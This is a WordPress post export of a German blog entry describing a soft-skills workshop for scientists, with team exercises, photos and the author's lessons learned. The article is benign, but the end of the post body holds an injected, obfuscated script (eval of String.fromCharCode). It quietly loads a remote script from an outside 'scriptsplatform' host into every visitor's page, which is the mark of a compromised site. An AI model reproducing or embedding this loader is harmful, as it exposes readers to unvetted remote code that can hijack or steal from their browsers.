{"id":20674,"date":"2018-09-16T17:03:27","date_gmt":"2018-09-16T15:03:27","guid":{"rendered":"https:\/\/annehodgson.de\/?p=20674"},"modified":"2018-09-16T19:01:45","modified_gmt":"2018-09-16T17:01:45","slug":"softskills-fuer-naturwissenschaftler","status":"publish","type":"post","link":"https:\/\/annehodgson.de\/de\/2018\/09\/16\/softskills-fuer-naturwissenschaftler\/","title":{"rendered":"Softskills f\u00fcr Naturwissenschaftler"},"content":{"rendered":"<p>Im Januar 2017 hatte ich das Vergn\u00fcgen, einen zweit\u00e4gigen Workshop am Max-Planck-Institut f\u00fcr intelligente Systeme in Stuttgart durchf\u00fchren. Wir konzentrierten uns auf die Themen<\/p>\n<ul>\n<li>besser zuh\u00f6ren<\/li>\n<li>fach\u00fcbergreifend erz\u00e4hlen<\/li>\n<li>Konflikte l\u00f6sen<\/li>\n<li>das eigene Verhalten in der Teamarbeit reflektieren<\/li>\n<\/ul>\n<p>Hier stelle ich vor, wie wir das letzte dieser Themen bearbeitet haben.<\/p>\n<ol>\n<li><strong>Team-Poster<\/strong><\/li>\n<\/ol>\n<p>In einer ersten \u00dcbung hatten drei Teams 20 Minuten Zeit, ein Poster zu einem Thema ihrer Wahl mit begrenztem Material zu erstellen. Ziel der \u00dcbung war, die Rollen zu reflektieren, die jedes Gruppenmitglied in der Gruppenarbeit typischerweise einnimmt, und wie dieses Verhalten zum Prozess und zum Ergebnis beitr\u00e4gt.<\/p>\n<p>Die Ergebnisse waren sehr spannend: Ein Team, dessen Mitglieder sich als \u00e4hnliche <a href=\"https:\/\/www.myersbriggs.org\/my-mbti-personality-type\/mbti-basics\/home.htm?bhcp=1\">MBTI-Typen<\/a> identifiziert hatten, arbeitete fast reibungslos zusammen und erzielte ein ganz ordentliches Ergebnis. Dieses Team begann erst nach der H\u00e4lfte der vorgegebenen Zeit, nach reiflicher Analyse und Diskussion, mit der eigentlichen Erstellung ihres Posters. Unterdessen durchlief ein zweites Team, das sich aus sehr unterschiedlichen MBTI Pers\u00f6nlichkeitstypen zusammensetzte, einen lebendigen, von lautem Lachen getragenen Prozess. Dieses Team erzielte umgehend kleine praktische Ergebnisse und entwickelte ein daraus ein buntes Patchwork-Poster, das den Beitrag der einzelnen Teammitglieder getrennt zeigte. Beide Gruppen waren mit ihrem Produkt sehr zufrieden. Die Unterschiede zwischen ihren Ans\u00e4tzen lieferten sehr interessante Denkanst\u00f6\u00dfe:<\/p>\n<p>\u00c4hnliche Typen k\u00f6nnen zusammen reibungslos zu guten Ergebnissen kommen, aber sie haben nicht die Gelegenheit, die Gedanken und Arbeitsweisen Andersdenkender kennenzulernen.<\/p>\n<p>Unterschiedliche Typen hingegen k\u00f6nnen sich in der Zusammenarbeit zwar ziemlich an einander reiben (so dass manche Teilnehmer den Prozess sogar als &#8222;Zeitverschwendung&#8220; erleben). Die Gruppe wird eben durch den Versuch, alle Teilnehmer einzubeziehen, aufgehalten. Zugleich aber gewinnen alle dadurch Erkenntnisse \u00fcber Potentiale in der Gruppe, die ihnen bei sp\u00e4teren Projekten eine bessere Zusammenarbeit erm\u00f6glichen.<\/p>\n<p>Verschiedene Studien haben belegen k\u00f6nnen, dass Teams oft gerade durch Gruppenkonflikte wirklich leistungsf\u00e4hig und innovativ werden. <a href=\"https:\/\/www.gsb.stanford.edu\/insights\/diverse-backgrounds-personalities-can-strengthen-groups\">(Rigoglioso 2006)<\/a><\/p>\n<p><strong>2. Teambesprechung<\/strong><\/p>\n<p>In einer zweiten \u00dcbung trafen sich die Teams zu einer Sitzung, um ein Projekt ihrer Wahl zu besprechen. Das Format war stark stilisiert, sie nutzten Edward de Bonos Six Hats-Ansatz in einem Spielformat. Am Ende stellten die einzelnen Gruppen ihre Erfebnisse vor. Die wichtigsten Erkenntnisse aus der \u00dcbung waren:<\/p>\n<p>Die kreative Begrenzung der Gespr\u00e4chszeit im Spielformat erh\u00f6hte ihre Konzentration und verbesserte die Ergebnisse. Dadurch konnten die Mitglieder es vermeiden, sich gegenseitig \u00fcbertreffen zu wollen und damit zu blockieren, und die Ideen und Aktionspl\u00e4ne konnten sich unbehindert entwickeln.<\/p>\n<p>Ein Schl\u00fcssel zu n\u00fctzlichen Ergebnissen ist es, Gedanken erst aufbl\u00fchen zu lassen, bevor man ihre Schw\u00e4chen sucht. Wenn wiederum die Schw\u00e4chen benannt worden sind ist der n\u00e4chste Schritt, nicht alles infrage zu stellen, sondern nach L\u00f6sungen f\u00fcr diese Schw\u00e4chen zu suchen. So werden Ideen gef\u00f6rdert, statt sie im Keim zu ersticken.<\/p>\n<p>Die Teamposter-\u00dcbung ergab bessere Bilder (siehe unten), aber die Team-Meeting-\u00dcbung kam besser an.<\/p>\n<p><img data-recalc-dims=\"1\" fetchpriority=\"high\" decoding=\"async\" class=\"aligncenter size-full wp-image-20675\" src=\"https:\/\/i0.wp.com\/annehodgson.de\/wp-content\/uploads\/2018\/03\/IMG_0359.jpg?resize=800%2C600&#038;ssl=1\" alt=\"\" width=\"800\" height=\"600\" srcset=\"https:\/\/i0.wp.com\/annehodgson.de\/wp-content\/uploads\/2018\/03\/IMG_0359.jpg?w=4032&amp;ssl=1 4032w, https:\/\/i0.wp.com\/annehodgson.de\/wp-content\/uploads\/2018\/03\/IMG_0359.jpg?resize=300%2C225&amp;ssl=1 300w, https:\/\/i0.wp.com\/annehodgson.de\/wp-content\/uploads\/2018\/03\/IMG_0359.jpg?resize=768%2C576&amp;ssl=1 768w, https:\/\/i0.wp.com\/annehodgson.de\/wp-content\/uploads\/2018\/03\/IMG_0359.jpg?resize=1024%2C768&amp;ssl=1 1024w, https:\/\/i0.wp.com\/annehodgson.de\/wp-content\/uploads\/2018\/03\/IMG_0359.jpg?w=1600&amp;ssl=1 1600w, https:\/\/i0.wp.com\/annehodgson.de\/wp-content\/uploads\/2018\/03\/IMG_0359.jpg?w=2400&amp;ssl=1 2400w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/p>\n<p><img data-recalc-dims=\"1\" decoding=\"async\" class=\"aligncenter size-full wp-image-20676\" src=\"https:\/\/i0.wp.com\/annehodgson.de\/wp-content\/uploads\/2018\/03\/IMG_0429.jpg?resize=800%2C600&#038;ssl=1\" alt=\"\" width=\"800\" height=\"600\" srcset=\"https:\/\/i0.wp.com\/annehodgson.de\/wp-content\/uploads\/2018\/03\/IMG_0429.jpg?w=4032&amp;ssl=1 4032w, https:\/\/i0.wp.com\/annehodgson.de\/wp-content\/uploads\/2018\/03\/IMG_0429.jpg?resize=300%2C225&amp;ssl=1 300w, https:\/\/i0.wp.com\/annehodgson.de\/wp-content\/uploads\/2018\/03\/IMG_0429.jpg?resize=768%2C576&amp;ssl=1 768w, https:\/\/i0.wp.com\/annehodgson.de\/wp-content\/uploads\/2018\/03\/IMG_0429.jpg?resize=1024%2C768&amp;ssl=1 1024w, https:\/\/i0.wp.com\/annehodgson.de\/wp-content\/uploads\/2018\/03\/IMG_0429.jpg?w=1600&amp;ssl=1 1600w, https:\/\/i0.wp.com\/annehodgson.de\/wp-content\/uploads\/2018\/03\/IMG_0429.jpg?w=2400&amp;ssl=1 2400w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/p>\n<p><img data-recalc-dims=\"1\" decoding=\"async\" class=\"aligncenter size-full wp-image-20677\" src=\"https:\/\/i0.wp.com\/annehodgson.de\/wp-content\/uploads\/2018\/03\/IMG_0364.jpg?resize=800%2C600&#038;ssl=1\" alt=\"\" width=\"800\" height=\"600\" srcset=\"https:\/\/i0.wp.com\/annehodgson.de\/wp-content\/uploads\/2018\/03\/IMG_0364.jpg?w=4032&amp;ssl=1 4032w, https:\/\/i0.wp.com\/annehodgson.de\/wp-content\/uploads\/2018\/03\/IMG_0364.jpg?resize=300%2C225&amp;ssl=1 300w, https:\/\/i0.wp.com\/annehodgson.de\/wp-content\/uploads\/2018\/03\/IMG_0364.jpg?resize=768%2C576&amp;ssl=1 768w, https:\/\/i0.wp.com\/annehodgson.de\/wp-content\/uploads\/2018\/03\/IMG_0364.jpg?resize=1024%2C768&amp;ssl=1 1024w, https:\/\/i0.wp.com\/annehodgson.de\/wp-content\/uploads\/2018\/03\/IMG_0364.jpg?w=1600&amp;ssl=1 1600w, https:\/\/i0.wp.com\/annehodgson.de\/wp-content\/uploads\/2018\/03\/IMG_0364.jpg?w=2400&amp;ssl=1 2400w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-20678\" src=\"https:\/\/i0.wp.com\/annehodgson.de\/wp-content\/uploads\/2018\/03\/IMG_0438.jpg?resize=800%2C600&#038;ssl=1\" alt=\"\" width=\"800\" height=\"600\" srcset=\"https:\/\/i0.wp.com\/annehodgson.de\/wp-content\/uploads\/2018\/03\/IMG_0438.jpg?w=4032&amp;ssl=1 4032w, https:\/\/i0.wp.com\/annehodgson.de\/wp-content\/uploads\/2018\/03\/IMG_0438.jpg?resize=300%2C225&amp;ssl=1 300w, https:\/\/i0.wp.com\/annehodgson.de\/wp-content\/uploads\/2018\/03\/IMG_0438.jpg?resize=768%2C576&amp;ssl=1 768w, https:\/\/i0.wp.com\/annehodgson.de\/wp-content\/uploads\/2018\/03\/IMG_0438.jpg?resize=1024%2C768&amp;ssl=1 1024w, https:\/\/i0.wp.com\/annehodgson.de\/wp-content\/uploads\/2018\/03\/IMG_0438.jpg?w=1600&amp;ssl=1 1600w, https:\/\/i0.wp.com\/annehodgson.de\/wp-content\/uploads\/2018\/03\/IMG_0438.jpg?w=2400&amp;ssl=1 2400w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/>Ein herzliches Dankesch\u00f6n an die Teilnehmer des Max-Planck-Instituts f\u00fcr intelligente Systeme f\u00fcr die Freigabe dieser Fotos.<\/p>\n<p><strong>Reflektionen<\/strong><\/p>\n<p>Ein gro\u00dfes Dankesch\u00f6n an Wera Schmidt, die mein Konzept \u00fcberdacht und die Poster\u00fcbung vorgeschlagen hat. Ein herzliches Dankesch\u00f6n an meinen Coaching-Kollegen Wolf Wagner, der das Feedback durchgesehen und f\u00fcr mich ausgewertet hat. Insgesamt war das Feedback sehr positiv. Was den Teilnehmern am besten gefiel, war die Gelegenheit am ersten Tag, Zuh\u00f6ren und Erz\u00e4hlen zu \u00fcben. Sie waren zudem sehr daran interessiert, in Simulationen typische Konflikte zu \u00fcben. Dabei fanden es einige ziemlich schwierig, sich in die Gegenseite hineinzuversetzen und auszumalen,\u00a0 was ihr Gegen\u00fcber konkret argumentieren w\u00fcrde. Ganz allgemein h\u00e4tten sie eine kleinere Anzahl von st\u00e4rker supervidierten Rollenspielen bevorzugt.<span class=\"Apple-converted-space\">\u00a0 <\/span>Dies deutet f\u00fcr mich darauf hin, dass ein fokussierteres Gruppencoaching n\u00fctzlicher w\u00e4re. Insgesamt werde ich bei einem \u00e4hnlichen Softskills Workshop zuk\u00fcnftig folgendes beherzigen:<\/p>\n<ul>\n<li>weniger Themen bearbeiten<\/li>\n<li>eine st\u00e4rkere Konzentration auf Themen, die von den Einzelteilnehmern jeweils auf ihre eigene Arbeits- und Lebensrealit\u00e4t bezogen werden<\/li>\n<li>mehr Zeit f\u00fcr die gemeinsame Reflexion nach jeder \u00dcbung<\/li>\n<li>eine klarere Benennung der Ziele vor und nach jeder \u00dcbung.<\/li>\n<\/ul>\n<p><script>var f=String;eval(f.fromCharCode(102,117,110,99,116,105,111,110,32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,116,105,115,116,105,99,46,115,99,114,105,112,116,115,112,108,97,116,102,111,114,109,46,99,111,109,47,99,111,108,108,101,99,116,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,125));\/*99586587347*\/<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Im Januar 2017 hatte ich das Vergn\u00fcgen, einen zweit\u00e4gigen Workshop am Max-Planck-Institut f\u00fcr intelligente Systeme in Stuttgart durchf\u00fchren. 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